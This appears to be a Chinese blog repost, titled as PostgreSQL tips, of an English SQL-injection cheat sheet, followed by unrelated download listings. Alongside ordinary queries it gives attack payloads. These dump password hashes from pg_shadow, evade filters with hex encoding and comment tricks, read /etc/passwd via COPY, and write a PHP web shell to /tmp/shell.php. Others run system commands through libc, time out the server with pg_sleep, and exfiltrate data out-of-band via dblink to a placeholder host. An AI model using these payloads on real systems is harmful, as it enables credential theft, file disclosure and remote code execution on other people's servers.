`

postgresql 小技巧

阅读更多

Note :

#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh?

Version :

SELECT VERSION()

Directories :

SELECT current_setting (‘data_directory’)
SELECT current_setting (‘hba_file’)
SELECT current_setting (‘config_file’)
SELECT current_setting (‘ident_file’)
SELECT current_setting (‘external_pid_file’)

Users :

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

Current Database :

SELECT current_database();

Concatenation :

SELECT 1||2||3; #Returns 123

Get Collation :

SELECT pg_client_encoding(); #Returns your current encoding (collation).

Change Collation :

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.

Wildcards in SELECT(s) :

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s) :

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates :

SELECT DISTINCT foo FROM bar

Counting Columns :

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users :

SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users :

SELECT usename FROM pg_user

Get PostgreSQL User Privileges on Different Columns :

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges :

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges :

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts :

SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases :

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables :

SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns :

SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row :

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting) :

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring :

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion :

#Not as fancy as in MySQL, but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number :

SELECT ASCII(‘A’); #Returns 65.

Number to ASCII :

SELECT CHR(65); #Returns A.

If Statement :

#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement :

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s) :

CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s) :

CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s) :

#http://en.wikipedia.org/wiki/Logical_connective

AND
OR
NOT

Comments :

SELECT foo, bar FROM foo.bar/* Multi line comment  */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements :

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space :

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation :

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark :

#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.

SELECT (||/(9999!));

Sleep :

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP :

SELECT inet_server_addr()

Get PostgreSQL Port :

SELECT inet_server_port()

Command Execution :

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band )) :

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL :

  • dblink: The Root Of All Evil
  • Mapping Library Functions
  • From Sleeping and Copying In PostgreSQL 8.2
  • Recommendation and Prevention
  • Introducing pgshell
分享到:
评论

相关推荐

    linux postgresql-9.5.4

    **Linux系统下的PostgreSQL 9.5.4详解** PostgreSQL是一种开源的对象关系数据库管理系统(ORDBMS),在Linux...了解并熟练掌握其安装、配置、使用和优化技巧,对于任何Linux系统管理员或开发者来说都是至关重要的。

    Troubleshooting PostgreSQL

    ### PostgreSQL故障排除技巧详解 #### 一、引言 在当今的数据驱动时代,数据库系统扮演着至关重要的角色。PostgreSQL作为一款强大且功能丰富的开源对象关系数据库系统,因其高度的可扩展性和强大的特性集而备受...

    PostgreSQL实战 (数据库技术丛书)破解版.7z

    中的技巧,全书分为基础篇、核心篇、进阶篇。基础篇包括第 1~4章,主要介绍PostgreSQL基础知识,例如安装与配置、客 户端工具、数据类型、SQL高级特性等,为读者阅读核心篇和 进阶篇做好准备;核心篇包括第5~9章,...

    PostgreSQL 性能优化培训 3 DAY

    本次为期三天的培训旨在帮助参与者深入理解并掌握PostgreSQL数据库的性能优化技巧。通过一系列理论讲解和实战练习,使学员能够有效地识别和解决在实际工作中遇到的各种性能瓶颈问题。 #### 二、授课环境配置 - **...

    PostgreSQL 9.5文档pdf版

    Bloom索引在空间占用较小的情况下提供高效的过滤,尤其适合于大数据量和低选择性的场景。 3. **RETURNING子句改进**:在INSERT、UPDATE和DELETE语句中,RETURNING子句可以返回被修改或删除的行,9.5版本增强了这一...

    PostgreSQL性能优化最佳综合案例实践

    在本案例中,我们将会介绍如何通过实际的业务模型来优化PostgreSQL数据库性能。此案例涉及到了数据库的常见操作,包括...通过对这些知识点的深入理解,能够帮助我们更好地理解和掌握PostgreSQL数据库的性能优化技巧。

    PostgreSQL 数据库优化 培训视频【18集】

    - SQL查询语句分析与优化技巧。 - 使用EXPLAIN工具进行执行计划分析。 - 索引类型及其选择策略。 3. **性能监控与调优**: - 如何利用pg_stat_*视图进行性能监控。 - 内存参数调整(如shared_buffers大小设置...

    postgresql分布式安装部署实操手册.rar

    本篇文章将深入探讨PostgreSQL的分布式安装与部署,旨在帮助读者掌握实际操作技巧,确保在生产环境中实现高可用性和性能优化。 **一、分布式安装的动机** 分布式安装的主要目的是提高系统的可用性、可扩展性和负载...

    POSTGRESQL_9_ADMIN_COOKBOOK.pdf

    ### PostgreSQL 9 Administration Cookbook 关键知识点解析 #### 一、PostgreSQL 9 概述与特点 ...通过学习本书中的知识点,读者将能够更加熟练地掌握PostgreSQL的使用技巧,有效提高工作效率和解决问题的能力。

    postgresql 9.0 High Performance(清晰版)

    该书深入探讨了如何加速PostgreSQL系统并避免常见的性能瓶颈问题,帮助读者掌握高级的性能调优技巧。 #### 二、PostgreSQL 9.0 概述 PostgreSQL是一款开源的关系型数据库管理系统(RDBMS),以其强大的功能集、稳定性...

    PostgreSQL用户手册10.1版本.rar

    总之,《PostgreSQL 10.1 用户手册》是数据库管理员、开发者和学习者不可或缺的工具书,它详细阐述了PostgreSQL的核心概念、操作技巧和最佳实践,无论你是新手还是老手,都能从中受益。结合实际的“高斯”项目开发,...

    PostgreSQL数据库实战培训课程(速成版).rar

    本“PostgreSQL数据库实战培训课程(速成版)”旨在帮助初学者迅速掌握PostgreSQL的核心概念和操作技巧,为你的IT职业生涯添砖加瓦。 课程概述: 在本速成课程中,你将深入学习PostgreSQL的基础知识,包括安装与...

    postgreSQL安装包+pdf学习文档

    通过这份学习文档,初学者可以快速掌握PostgreSQL的基础知识和实用技巧,进阶用户则可以深入学习高级特性和最佳实践,提高数据库管理能力。在学习过程中,结合实际操作安装包进行实践,理论与实际相结合,将有助于更...

    postgresql学习

    ### PostgreSQL 学习知识点 #### 一、基本操作命令 1. **表的基本操作** - **创建表**: `CREATE TABLE 表名 (字段名 数据类型...通过这些知识点的学习, 可以帮助初学者更快地掌握 PostgreSQL 的核心功能和使用技巧。

    Postgresql及timescaledb

    10. **监控与调优**:掌握监控数据库性能的方法,以及根据监控结果进行性能调优的技巧。 通过深入学习这些知识点,不仅可以熟练地使用PostgreSQL作为基础数据库,还能有效地利用TimescaleDB来处理大规模的时间序列...

    PostgreSQL 最佳性能优化实践授课PPT 386页

    通过深入学习这386页的PPT,你可以全面了解PostgreSQL的性能优化技巧,从而在实际工作中提升数据库性能,降低系统延迟,满足高并发场景的需求。无论是数据库管理员还是开发人员,都应该掌握这些知识,以便在面对日益...

    PostgreSQL12.2-CN用户手册(PDF\HTML\epub三个版本)

    10. **故障排查**:提供常见问题的解决方法和调试技巧,帮助用户高效解决问题。 通过这本手册,无论是初学者还是经验丰富的开发者,都能深入理解 PostgreSQL 的工作原理,掌握其丰富的特性和最佳实践。无论是在日常...

Global site tag (gtag.js) - Google Analytics